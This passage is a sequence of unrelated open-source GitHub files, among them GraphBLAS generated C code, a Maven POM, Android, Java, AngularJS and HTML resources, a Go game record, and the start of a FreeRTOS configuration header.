name="submaintitle.sep" text=": " lang="en"/> <l:template name="title.sep" text=". " lang="en"/> <l:template name="othertitle.sep" text=", " lang="en"/> <l:template name="medium1" text=" [" lang="en"/> <l:template name="medium2" text="]" lang="en"/> <l:template name="secondary.person.sep" text="; " lang="en"/> <l:template name="secondary.sep" text=". " lang="en"/> <l:template name="respons.sep" text=". " lang="en"/> <l:template name="edition.sep" text=". " lang="en"/> <l:template name="edition.serial.sep" text=", " lang="en"/> <l:template name="issuing.range" text="-" lang="en"/> <l:template name="issuing.div" text=", " lang="en"/> <l:template name="issuing.sep" text=". " lang="en"/> <l:template name="partnr.sep" text=". " lang="en"/> <l:template name="placepubl.sep" text=": " lang="en"/> <l:template name="publyear.sep" text=", " lang="en"/> <l:template name="pubinfo.sep" text=". " lang="en"/> <l:template name="spec.pubinfo.sep" text=", " lang="en"/> <l:template name="upd.sep" text=", " lang="en"/> <l:template name="datecit1" text=" [cited " lang="en"/> <l:template name="datecit2" text="]" lang="en"/> <l:template name="extent.sep" text=". " lang="en"/> <l:template name="locs.sep" text=", " lang="en"/> <l:template name="location.sep" text=". " lang="en"/> <l:template name="serie.sep" text=". " lang="en"/> <l:template name="notice.sep" text=". " lang="en"/> <l:template name="access" text="Available " lang="en"/> <l:template name="acctoo" text="Also available " lang="en"/> <l:template name="onwww" text="from World Wide Web" lang="en"/> <l:template name="oninet" text="from Internet" lang="en"/> <l:template name="access.end" text=": " lang="en"/> <l:template name="link1" text="&lt;" lang="en"/> <l:template name="link2" text="&gt;" lang="en"/> <l:template name="access.sep" text=". " lang="en"/> <l:template name="isbn" text="ISBN " lang="en"/> <l:template name="issn" text="ISSN " lang="en"/> <l:template name="stdnum.sep" text=". " lang="en"/> <l:template name="patcountry.sep" text=". " lang="en"/> <l:template name="pattype.sep" text=", " lang="en"/> <l:template name="patnum.sep" text=". " lang="en"/> <l:template name="patdate.sep" text=". " lang="en"/> </l:context><l:letters><l:l i="-1"/> <l:l i="0">Semboller</l:l> <l:l i="1">A</l:l> <l:l i="1">a</l:l> <l:l i="2">B</l:l> <l:l i="2">b</l:l> <l:l i="3">C</l:l> <l:l i="3">c</l:l> <l:l i="4">Ç</l:l> <l:l i="4">ç</l:l> <l:l i="5">D</l:l> <l:l i="5">d</l:l> <l:l i="6">E</l:l> <l:l i="6">e</l:l> <l:l i="7">F</l:l> <l:l i="7">f</l:l> <l:l i="8">G</l:l> <l:l i="8">g</l:l> <l:l i="9">Ğ</l:l> <l:l i="9">ğ</l:l> <l:l i="10">H</l:l> <l:l i="10">h</l:l> <l:l i="11">I</l:l> <l:l i="11">ı</l:l> <l:l i="12">İ</l:l> <l:l i="12">i</l:l> <l:l i="13">J</l:l> <l:l i="13">j</l:l> <l:l i="14">K</l:l> <l:l i="14">k</l:l> <l:l i="15">L</l:l> <l:l i="15">l</l:l> <l:l i="16">M</l:l> <l:l i="16">m</l:l> <l:l i="17">N</l:l> <l:l i="17">n</l:l> <l:l i="18">O</l:l> <l:l i="18">o</l:l> <l:l i="19">Ö</l:l> <l:l i="19">ö</l:l> <l:l i="20">P</l:l> <l:l i="20">p</l:l> <l:l i="21">R</l:l> <l:l i="21">r</l:l> <l:l i="22">S</l:l> <l:l i="22">s</l:l> <l:l i="23">Ş</l:l> <l:l i="23">ş</l:l> <l:l i="24">T</l:l> <l:l i="24">t</l:l> <l:l i="25">U</l:l> <l:l i="25">u</l:l> <l:l i="26">Ü</l:l> <l:l i="26">ü</l:l> <l:l i="27">V</l:l> <l:l i="27">v</l:l> <l:l i="28">Y</l:l> <l:l i="28">y</l:l> <l:l i="29">Z</l:l> <l:l i="29">z</l:l> </l:letters> </l:l10n>
{ "pile_set_name": "Github" }
//------------------------------------------------------------------------------ // GB_AxB: hard-coded functions for semiring: C<M>=A*B or A'*B //------------------------------------------------------------------------------ // SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2020, All Rights Reserved. // http://suitesparse.com See GraphBLAS/Doc/License.txt for license. //------------------------------------------------------------------------------ // If this file is in the Generated/ folder, do not edit it (auto-generated). #include "GB.h" #ifndef GBCOMPACT #include "GB_control.h" #include "GB_ek_slice.h" #include "GB_bracket.h" #include "GB_iterator.h" #include "GB_sort.h" #include "GB_atomics.h" #include "GB_AxB_saxpy3.h" #include "GB_AxB__include.h" // The C=A*B semiring is defined by the following types and operators: // A'*B function (dot2): GB_Adot2B__any_rminus_int32 // A'*B function (dot3): GB_Adot3B__any_rminus_int32 // C+=A'*B function (dot4): GB_Adot4B__any_rminus_int32 // A*B function (saxpy3): GB_Asaxpy3B__any_rminus_int32 // C type: int32_t // A type: int32_t // B type: int32_t // Multiply: z = (bkj - aik) // Add: cij = z // 'any' monoid? 1 // atomic? 1 // OpenMP atomic? 0 // MultAdd: int32_t x_op_y = (bkj - aik) ; cij = x_op_y // Identity: 0 // Terminal: break ; #define GB_ATYPE \ int32_t #define GB_BTYPE \ int32_t #define GB_CTYPE \ int32_t // aik = Ax [pA] #define GB_GETA(aik,Ax,pA) \ int32_t aik = Ax [pA] // bkj = Bx [pB] #define GB_GETB(bkj,Bx,pB) \ int32_t bkj = Bx [pB] #define GB_CX(p) Cx [p] // multiply operator #define GB_MULT(z, x, y) \ z = (y - x) // multiply-add #define GB_MULTADD(z, x, y) \ int32_t x_op_y = (y - x) ; z = x_op_y // monoid identity value #define GB_IDENTITY \ 0 // break if cij reaches the terminal value (dot product only) #define GB_DOT_TERMINAL(cij) \ break ; // simd pragma for dot-product loop vectorization #define GB_PRAGMA_VECTORIZE_DOT \ ; // simd pragma for other loop vectorization #define GB_PRAGMA_VECTORIZE GB_PRAGMA_SIMD // declare the cij scalar #define GB_CIJ_DECLARE(cij) \ int32_t cij // save the value of C(i,j) #define GB_CIJ_SAVE(cij,p) Cx [p] = cij // cij = Cx [pC] #define GB_GETC(cij,pC) \ cij = Cx [pC] // Cx [pC] = cij #define GB_PUTC(cij,pC) \ Cx [pC] = cij // Cx [p] = t #define GB_CIJ_WRITE(p,t) Cx [p] = t // C(i,j) += t #define GB_CIJ_UPDATE(p,t) \ Cx [p] = t // x + y #define GB_ADD_FUNCTION(x,y) \ y // type with size of GB_CTYPE, and can be used in compare-and-swap #define GB_CTYPE_PUN \ int32_t // bit pattern for bool, 8-bit, 16-bit, and 32-bit integers #define GB_CTYPE_BITS \ 0xffffffffL // 1 if monoid update can skipped entirely (the ANY monoid) #define GB_IS_ANY_MONOID \ 1 // 1 if monoid update is EQ #define GB_IS_EQ_MONOID \ 0 // 1 if monoid update can be done atomically, 0 otherwise #define GB_HAS_ATOMIC \ 1 // 1 if monoid update can be done with an OpenMP atomic update, 0 otherwise #define GB_HAS_OMP_ATOMIC \ 0 // 1 for the ANY_PAIR semirings #define GB_IS_ANY_PAIR_SEMIRING \ 0 // 1 if PAIR is the multiply operator #define GB_IS_PAIR_MULTIPLIER \ 0 #if GB_IS_ANY_PAIR_SEMIRING // result is purely symbolic; no numeric work to do. Hx is not used. #define GB_HX_WRITE(i,t) #define GB_CIJ_GATHER(p,i) #define GB_HX_UPDATE(i,t) #define GB_CIJ_MEMCPY(p,i,len) #else // Hx [i] = t #define GB_HX_WRITE(i,t) Hx [i] = t // Cx [p] = Hx [i] #define GB_CIJ_GATHER(p,i) Cx [p] = Hx [i] // Hx [i] += t #define GB_HX_UPDATE(i,t) \ Hx [i] = t // memcpy (&(Cx [p]), &(Hx [i]), len) #define GB_CIJ_MEMCPY(p,i,len) \ memcpy (Cx +(p), Hx +(i), (len) * sizeof(int32_t)) #endif // disable this semiring and use the generic case if these conditions hold #define GB_DISABLE \ (GxB_NO_ANY || GxB_NO_RMINUS || GxB_NO_INT32 || GxB_NO_ANY_INT32 || GxB_NO_RMINUS_INT32 || GxB_NO_ANY_RMINUS_INT32) //------------------------------------------------------------------------------ // C=A'*B or C<!M>=A'*B: dot product (phase 2) //------------------------------------------------------------------------------ GrB_Info GB_Adot2B__any_rminus_int32 ( GrB_Matrix C, const GrB_Matrix M, const bool Mask_struct, const GrB_Matrix *Aslice, bool A_is_pattern, const GrB_Matrix B, bool B_is_pattern, int64_t *GB_RESTRICT B_slice, int64_t *GB_RESTRICT *C_counts, int nthreads, int naslice, int nbslice ) { // C<M>=A'*B now uses dot3 #if GB_DISABLE return (GrB_NO_VALUE) ; #else #define GB_PHASE_2_OF_2 #include "GB_AxB_dot2_meta.c" #undef GB_PHASE_2_OF_2 return (GrB_SUCCESS) ; #endif } //------------------------------------------------------------------------------ // C<M>=A'*B: masked dot product method (phase 2) //------------------------------------------------------------------------------ GrB_Info GB_Adot3B__any_rminus_int32 ( GrB_Matrix C, const GrB_Matrix M, const bool Mask_struct, const GrB_Matrix A, bool A_is_pattern, const GrB_Matrix B, bool B_is_pattern, const GB_task_struct *GB_RESTRICT TaskList, const int ntasks, const int nthreads ) { #if GB_DISABLE return (GrB_NO_VALUE) ; #else #include "GB_AxB_dot3_template.c" return (GrB_SUCCESS) ; #endif } //------------------------------------------------------------------------------ // C+=A'*B: dense dot product //------------------------------------------------------------------------------ GrB_Info GB_Adot4B__any_rminus_int32 ( GrB_Matrix C, const GrB_Matrix A, bool A_is_pattern, int64_t *GB_RESTRICT A_slice, int naslice, const GrB_Matrix B, bool B_is_pattern, int64_t *GB_RESTRICT B_slice, int nbslice, const int nthreads ) { #if GB_DISABLE return (GrB_NO_VALUE) ; #else #include "GB_AxB_dot4_template.c" return (GrB_SUCCESS) ; #endif } //------------------------------------------------------------------------------ // C=A*B, C<M>=A*B, C<!M>=A*B: saxpy3 method (Gustavson + Hash) //------------------------------------------------------------------------------ #include "GB_AxB_saxpy3_template.h" GrB_Info GB_Asaxpy3B__any_rminus_int32 ( GrB_Matrix C, const GrB_Matrix M, bool Mask_comp, const bool Mask_struct, const GrB_Matrix A, bool A_is_pattern, const GrB_Matrix B, bool B_is_pattern, GB_saxpy3task_struct *GB_RESTRICT TaskList, const int ntasks, const int nfine, const int nthreads, GB_Context Context ) { #if GB_DISABLE return (GrB_NO_VALUE) ; #else #include "GB_AxB_saxpy3_template.c" return (GrB_SUCCESS) ; #endif } #endif
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.opennms.features</groupId> <artifactId>nrtg</artifactId> <version>27.0.0-SNAPSHOT</version> </parent> <groupId>org.opennms.features.nrtg</groupId> <artifactId>protocol-collectors</artifactId> <packaging>pom</packaging> <name>OpenNMS :: Features :: NRTG :: Collectors</name> <description> The ProtocolCollectors module contains ProtocolCollectors. These ProtocolCollectors are able to request values for metrics from agents on nodes. </description> <modules> <module>snmp</module> <module>tca</module> </modules> </project>
{ "pile_set_name": "Github" }
////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2007-2011, Image Engine Design Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of Image Engine Design nor the names of any // other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #ifndef IECORESCENE_PRIMITIVEMOTION_H #define IECORESCENE_PRIMITIVEMOTION_H #include "IECoreScene/Export.h" #include "IECoreScene/Primitive.h" namespace IECoreScene { /// The MotionPrimitive is a simple means of constructing and rendering a /// motionBegin/motionEnd block containing a Primitive. There's nothing to /// stop you from calling motionBegin/motionEnd to construct motion blocks yourself /// but this form is simple, and loadable and savable and copyable and all that. /// \ingroup renderingGroup class IECORESCENE_API MotionPrimitive : public VisibleRenderable { public: /// A type to map between points in time and corresponding /// Primitives. typedef std::map<float, PrimitivePtr> SnapshotMap; MotionPrimitive(); ~MotionPrimitive() override; IE_CORE_DECLAREEXTENSIONOBJECT( MotionPrimitive, MotionPrimitiveTypeId, VisibleRenderable ); //! @name Snapshots //////////////////////////////////////////////////// //@{ /// Gives const access to the internal snapshot data. const SnapshotMap &snapshots() const; /// Gives access to the internal snapshot data. This can /// be modified freely - it'll be validated in render(). SnapshotMap &snapshots(); /// Utility function to insert a time,primitive pair /// into snapshots(). void addSnapshot( float time, PrimitivePtr primitive ); /// Utility function to remove a snapshot. void removeSnapshot( float time ); void removeSnapshot( PrimitivePtr primitive ); //@} /// May throw an Exception if the contained Primitives are not /// compatible with each other. void render( Renderer *renderer ) const override; Imath::Box3f bound() const override; private: static const unsigned int m_ioVersion; SnapshotMap m_snapshots; }; IE_CORE_DECLAREPTR( MotionPrimitive ); } // namespace IECoreScene #endif // IECORESCENE_PRIMITIVEMOTION_H
{ "pile_set_name": "Github" }
<vector xmlns:android="http://schemas.android.com/apk/res/android" android:width="60dp" android:height="60dp" android:viewportWidth="24.0" android:viewportHeight="24.0"> <path android:pathData="m12,0.5c-6.348,0 -11.5,5.152 -11.5,11.5 0,6.348 5.152,11.5 11.5,11.5 6.348,0 11.5,-5.152 11.5,-11.5 0,-6.348 -5.152,-11.5 -11.5,-11.5z" android:strokeLineCap="butt" android:strokeColor="@color/main_background" android:fillColor="@color/main_decorations" android:strokeWidth="1" android:strokeLineJoin="miter" android:strokeAlpha="1" /> <path android:pathData="m12.043,5.985 l-1.739,4.181 -4.44,0.333 3.335,2.999 -0.975,4.413 3.813,-2.326 3.827,2.43 -1.048,-4.473 3.32,-3.043 -0.962,-0.073 -3.417,-0.259z" android:fillAlpha="1" android:strokeLineCap="round" android:strokeColor="@color/main_background" android:strokeWidth="1" android:strokeLineJoin="round" android:fillColor="@color/main_background" /> </vector>
{ "pile_set_name": "Github" }
/** * Odoo, Open Source Management Solution * Copyright (C) 2012-today Odoo SA (<http:www.odoo.com>) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http:www.gnu.org/licenses/> * * Created on 10/2/15 11:39 AM */ package com.odoo.core.utils.sys; import android.content.Context; import java.io.File; public class OCacheUtils { public static final String TAG = OCacheUtils.class.getSimpleName(); public static void clearSystemCache(Context context) { try { File dir = context.getCacheDir(); if (dir != null && dir.isDirectory()) { deleteDir(dir); } } catch (Exception e) { } } public static boolean deleteDir(File dir) { if (dir != null && dir.isDirectory()) { String[] children = dir.list(); for (int i = 0; i < children.length; i++) { boolean success = deleteDir(new File(dir, children[i])); if (!success) { return false; } } } return dir.delete(); } }
{ "pile_set_name": "Github" }
angular.module("ngLocale", [], ["$provide", function($provide) { var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"}; $provide.value("$locale", { "DATETIME_FORMATS": { "AMPMS": { "0": "上午", "1": "下午" }, "DAY": { "0": "星期日", "1": "星期一", "2": "星期二", "3": "星期三", "4": "星期四", "5": "星期五", "6": "星期六" }, "MONTH": { "0": "一月", "1": "二月", "2": "三月", "3": "四月", "4": "五月", "5": "六月", "6": "七月", "7": "八月", "8": "九月", "9": "十月", "10": "十一月", "11": "十二月" }, "SHORTDAY": { "0": "周日", "1": "周一", "2": "周二", "3": "周三", "4": "周四", "5": "周五", "6": "周六" }, "SHORTMONTH": { "0": "1月", "1": "2月", "2": "3月", "3": "4月", "4": "5月", "5": "6月", "6": "7月", "7": "8月", "8": "9月", "9": "10月", "10": "11月", "11": "12月" }, "fullDate": "y年M月d日EEEE", "longDate": "y年M月d日", "medium": "y年M月d日 ah:mm:ss", "mediumDate": "y年M月d日", "mediumTime": "ah:mm:ss", "short": "d/M/yy ah:mm", "shortDate": "d/M/yy", "shortTime": "ah:mm" }, "NUMBER_FORMATS": { "CURRENCY_SYM": "¥", "DECIMAL_SEP": ".", "GROUP_SEP": ",", "PATTERNS": { "0": { "gSize": 3, "lgSize": 3, "macFrac": 0, "maxFrac": 3, "minFrac": 0, "minInt": 1, "negPre": "-", "negSuf": "", "posPre": "", "posSuf": "" }, "1": { "gSize": 3, "lgSize": 3, "macFrac": 0, "maxFrac": 2, "minFrac": 2, "minInt": 1, "negPre": "(\u00A4", "negSuf": ")", "posPre": "\u00A4", "posSuf": "" } } }, "id": "zh-hans-hk", "pluralCat": function (n) { return PLURAL_CATEGORY.OTHER;} }); }]);
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2017-07-12] PB[骊龙]BR[9段] PW[顺利过关]WR[9段] KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[60] ;B[qd];W[dc];B[pq];W[dq];B[nc];W[cf];B[qk];W[mp];B[po];W[jp];B[do] ;W[dl];B[ho];W[hq];B[gq];W[gp];B[hp];W[iq];B[eq];W[fq];B[ep];W[gr] ;B[er];W[nd];B[od];W[mc];B[md];W[ne];B[lc];W[mb];B[oc];W[ld];B[me] ;W[kc];B[le];W[kd];B[nf];W[ke];B[cn];W[cp];B[cr];W[ii];B[bl];W[cj] ;B[fc];W[ec];B[fe];W[gc];B[fb];W[hc];B[cd];W[de];B[cc];W[dd];B[cb] ;W[be];B[gd];W[gf];B[ff];W[gg];B[hd];W[ic];B[fg];W[fh];B[eh];W[fi] ;B[ch];W[dg];B[dh];W[eg];B[bd];W[eb];B[bg];W[bf];B[dj];W[bb];B[ba] ;W[ab];B[ad];W[da];B[dk];W[qm];B[ca];W[gb];B[fa];W[he];B[pl];W[qp] ;B[pp];W[qo];B[qq];W[pm];B[om];W[rk];B[rj];W[rl];B[qj];W[rn];B[mr] ;W[go];B[li];W[fl];B[fk];W[cl];B[ck];W[el];B[cm];W[nb];B[ob];W[lk] ;B[fj];W[gl];B[hk];W[hi];B[hl];W[bk];B[bj];W[hm];B[im];W[hn];B[fn] ;W[fo];B[en];W[gn];B[kf];W[jf];B[kg];W[nk];B[cg];W[df];B[af];W[ae] ;B[ni];W[kh];B[ki];W[lf];B[mf];W[lg];B[ml];W[ll];B[lm];W[km];B[ln] ;W[kn];B[lo];W[lr];B[mq];W[lp];B[ko];W[lq];B[jo];W[jj];B[jl];W[jg] ;B[mh];W[mg];B[ng];W[kk];B[mk];W[in];B[rp];W[ro];B[rq];W[pn];B[on] ;W[jm];B[hj];W[nq];B[nr];W[mj];B[lj];W[mm];B[nl];W[nm];B[ol];W[no] ;B[nn];W[or];B[oq];W[ms];B[np];W[ns];B[nq];W[mo];B[mn];W[pr];B[qr] ;W[os];B[oo];W[sj];B[si];W[sk];B[ri];W[io];B[il];W[ji];B[fr];W[ag] ;B[ah];W[eo];B[dp];W[ei];B[na];W[di];B[ci];W[lb];B[kp];W[kq];B[fp] ;W[gq];B[gs];W[hs];B[fs];W[ma];B[oa];W[sp];B[sq];W[so];B[af];W[lh] ;B[ag];W[kj];B[mi];W[gi];B[db];W[ea];B[ce];W[ga];B[fd];W[id];B[ef] ;W[ge];B[jr];W[jq];B[ls];W[ks];B[qs];W[dm];B[dn];W[ls];B[fm];W[gm] ;B[ql];W[kl];B[gj];W[ij];B[ak];W[jk];B[ek];W[gk];B[ej];W[jn];B[sm] ;W[rm];B[hr];W[ir];B[ps];W[ik];B[em])
{ "pile_set_name": "Github" }
<!-- ~ Copyright (c) 2016-2020 VMware, Inc. All Rights Reserved. ~ This software is released under MIT license. ~ The full license information can be found in LICENSE in the root directory of this project. --> <div class="clr-example squeeze demo-menu-height dropdown-demo"> <clr-dropdown> <button class="btn btn-outline-primary" clrDropdownTrigger id="current"> Dropdown <clr-icon shape="caret down"></clr-icon> </button> <clr-dropdown-menu> <label class="dropdown-header" aria-hidden="true">Dropdown header</label> <div aria-label="Drowpdown header Action 1" clrDropdownItem>Action 1</div> <div aria-label="Drowpdown header Disabled Action" clrDropdownItem clrDisabled>Disabled Action</div> <div class="dropdown-divider" role="separator" aria-hidden="true"></div> <clr-dropdown> <button clrDropdownTrigger [id]="'sub-menu-1'">Link 1</button> <clr-dropdown-menu> <div clrDropdownItem>Foo</div> <clr-dropdown> <button clrDropdownTrigger [id]="'sub-menu-2'">Bar</button> <clr-dropdown-menu clrPosition="left-bottom"> <div clrDropdownItem>Baz</div> </clr-dropdown-menu> </clr-dropdown> </clr-dropdown-menu> </clr-dropdown> <div clrDropdownItem>Link 2</div> </clr-dropdown-menu> </clr-dropdown> </div> <div class="clr-example squeeze demo-menu-height dropdown-demo"> <clr-dropdown> <button class="btn btn-outline-primary" clrDropdownTrigger id="current1"> Dropdown <clr-icon shape="caret down"></clr-icon> </button> <clr-dropdown-menu *clrIfOpen> <label class="dropdown-header" aria-hidden="true">Dropdown header</label> <div aria-label="Drowpdown header Action 1" clrDropdownItem>Action 1</div> <div aria-label="Drowpdown header Disabled Action" clrDropdownItem clrDisabled>Disabled Action</div> <div class="dropdown-divider" role="separator" aria-hidden="true"></div> <clr-dropdown> <button clrDropdownTrigger [id]="'sub-menu-3'">Link 1</button> <clr-dropdown-menu *clrIfOpen> <div clrDropdownItem>Foo</div> <clr-dropdown> <button clrDropdownTrigger [id]="'sub-menu-4'">Bar</button> <clr-dropdown-menu clrPosition="left-bottom" *clrIfOpen> <div clrDropdownItem>Baz</div> </clr-dropdown-menu> </clr-dropdown> </clr-dropdown-menu> </clr-dropdown> <div clrDropdownItem>Link 2</div> </clr-dropdown-menu> </clr-dropdown> </div>
{ "pile_set_name": "Github" }
MODULE_TOPDIR = ../.. PGM = r.what.color LIBES = $(RASTERLIB) $(GISLIB) DEPENDENCIES = $(RASTERDEP) $(GISDEP) include $(MODULE_TOPDIR)/include/Make/Module.make default: cmd
{ "pile_set_name": "Github" }
/* FreeRTOS V8.0.0 - Copyright (C) 2014 Real Time Engineers Ltd. All rights reserved VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. *************************************************************************** * * * FreeRTOS provides completely free yet professionally developed, * * robust, strictly quality controlled, supported, and cross * * platform software that has become a de facto standard. * * * * Help yourself get started quickly and support the FreeRTOS * * project by purchasing a FreeRTOS tutorial book, reference * * manual, or both from: http://www.FreeRTOS.org/Documentation * * * * Thank you! * * * *************************************************************************** This file is part of the FreeRTOS distribution. FreeRTOS is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License (version 2) as published by the Free Software Foundation >>!AND MODIFIED BY!<< the FreeRTOS exception. >>! NOTE: The modification to the GPL is included to allow you to distribute >>! a combined work that includes FreeRTOS without being obliged to provide >>! the source code for proprietary components outside of the FreeRTOS >>! kernel. FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Full license text is available from the following link: http://www.freertos.org/a00114.html 1 tab == 4 spaces! *************************************************************************** * * * Having a problem? Start by reading the FAQ "My application does * * not run, what could be wrong?" * * * * http://www.FreeRTOS.org/FAQHelp.html * * * *************************************************************************** http://www.FreeRTOS.org - Documentation, books, training, latest versions, license and Real Time Engineers Ltd. contact details. http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products, including FreeRTOS+Trace - an indispensable productivity tool, a DOS compatible FAT file system, and our tiny thread aware UDP/IP stack. http://www.OpenRTOS.com - Real Time Engineers ltd license FreeRTOS to High Integrity Systems to sell under the OpenRTOS brand. Low cost OpenRTOS licenses offer ticketed support, indemnification and middleware. http://www.SafeRTOS.com - High Integrity Systems also provide a safety engineered and independently SIL3 certified version for use in safety and mission critical applications that require provable dependability. 1 tab == 4 spaces! */ #ifndef INC_FREERTOS_H #define INC_FREERTOS_H /* * Include the generic headers required for the FreeRTOS port being used. */ #include <stddef.h> /* * If stdint.h cannot be located then: * + If using GCC ensure the -nostdint options is *not* being used. * + Ensure the project's include path includes the directory in which your * compiler stores stdint.h. * + Set any compiler options necessary for it to support C99, as technically * stdint.h is only mandatory with C99 (FreeRTOS does not require C99 in any * other way). * + The FreeRTOS download includes a simple stdint.h definition that can be * used in cases where none is provided by the compiler. The files only * contains the typedefs required to build FreeRTOS. Read the instructions * in FreeRTOS/source/stdint.readme for more information. */ #include "FreeRTOSConfig.h" /* << EST */ #if configGENERATE_STATIC_SOURCES || configPEX_KINETIS_SDK /* << EST */ #include <stdint.h> /* READ COMMENT ABOVE. */ #else #include "PE_Types.h" #endif #ifdef __cplusplus extern "C" { #endif /* Basic FreeRTOS definitions. */ #include "projdefs.h" /* Application specific configuration options. */ #include "FreeRTOSConfig.h" /* configUSE_PORT_OPTIMISED_TASK_SELECTION must be defined before portable.h is included as it is used by the port layer. */ #ifndef configUSE_PORT_OPTIMISED_TASK_SELECTION #define configUSE_PORT_OPTIMISED_TASK_SELECTION 0 #endif /* Definitions specific to the port being used. */ #include "portable.h" #include "task.h" /* << EST: for taskENTER_CRITICAL() and taskEXIT_CRITICAL() */ /* * Check all the required application specific macros have been defined. * These macros are application specific and (as downloaded) are defined * within FreeRTOSConfig.h. */ #ifndef configMINIMAL_STACK_SIZE #error Missing definition: configMINIMAL_STACK_SIZE must be defined in FreeRTOSConfig.h. configMINIMAL_STACK_SIZE defines the size (in words) of the stack allocated to the idle task. Refer to the demo project provided for your port for a suitable value. #endif #ifndef configMAX_PRIORITIES #error Missing definition: configMAX_PRIORITIES must be defined in FreeRTOSConfig.h. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef configUSE_PREEMPTION #error Missing definition: configUSE_PREEMPTION must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef configUSE_IDLE_HOOK #error Missing definition: configUSE_IDLE_HOOK must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef configUSE_TICK_HOOK #error Missing definition: configUSE_TICK_HOOK must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef configUSE_CO_ROUTINES #error Missing definition: configUSE_CO_ROUTINES must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef INCLUDE_vTaskPrioritySet #error Missing definition: INCLUDE_vTaskPrioritySet must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef INCLUDE_uxTaskPriorityGet #error Missing definition: INCLUDE_uxTaskPriorityGet must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef INCLUDE_vTaskDelete #error Missing definition: INCLUDE_vTaskDelete must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef INCLUDE_vTaskSuspend #error Missing definition: INCLUDE_vTaskSuspend must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef INCLUDE_vTaskDelayUntil #error Missing definition: INCLUDE_vTaskDelayUntil must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef INCLUDE_vTaskDelay #error Missing definition: INCLUDE_vTaskDelay must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #ifndef configUSE_16_BIT_TICKS #error Missing definition: configUSE_16_BIT_TICKS must be defined in FreeRTOSConfig.h as either 1 or 0. See the Configuration section of the FreeRTOS API documentation for details. #endif #if configUSE_CO_ROUTINES != 0 #ifndef configMAX_CO_ROUTINE_PRIORITIES #error configMAX_CO_ROUTINE_PRIORITIES must be greater than or equal to 1. #endif #endif #ifndef configMAX_PRIORITIES #error configMAX_PRIORITIES must be defined to be greater than or equal to 1. #endif #ifndef INCLUDE_xTaskGetIdleTaskHandle #define INCLUDE_xTaskGetIdleTaskHandle 0 #endif #ifndef INCLUDE_xTimerGetTimerDaemonTaskHandle #define INCLUDE_xTimerGetTimerDaemonTaskHandle 0 #endif #ifndef INCLUDE_xQueueGetMutexHolder #define INCLUDE_xQueueGetMutexHolder 0 #endif #ifndef INCLUDE_xSemaphoreGetMutexHolder #define INCLUDE_xSemaphoreGetMutexHolder INCLUDE_xQueueGetMutexHolder #endif #ifndef INCLUDE_pcTaskGetTaskName #define INCLUDE_pcTaskGetTaskName 0 #endif #ifndef configUSE_APPLICATION_TASK_TAG #define 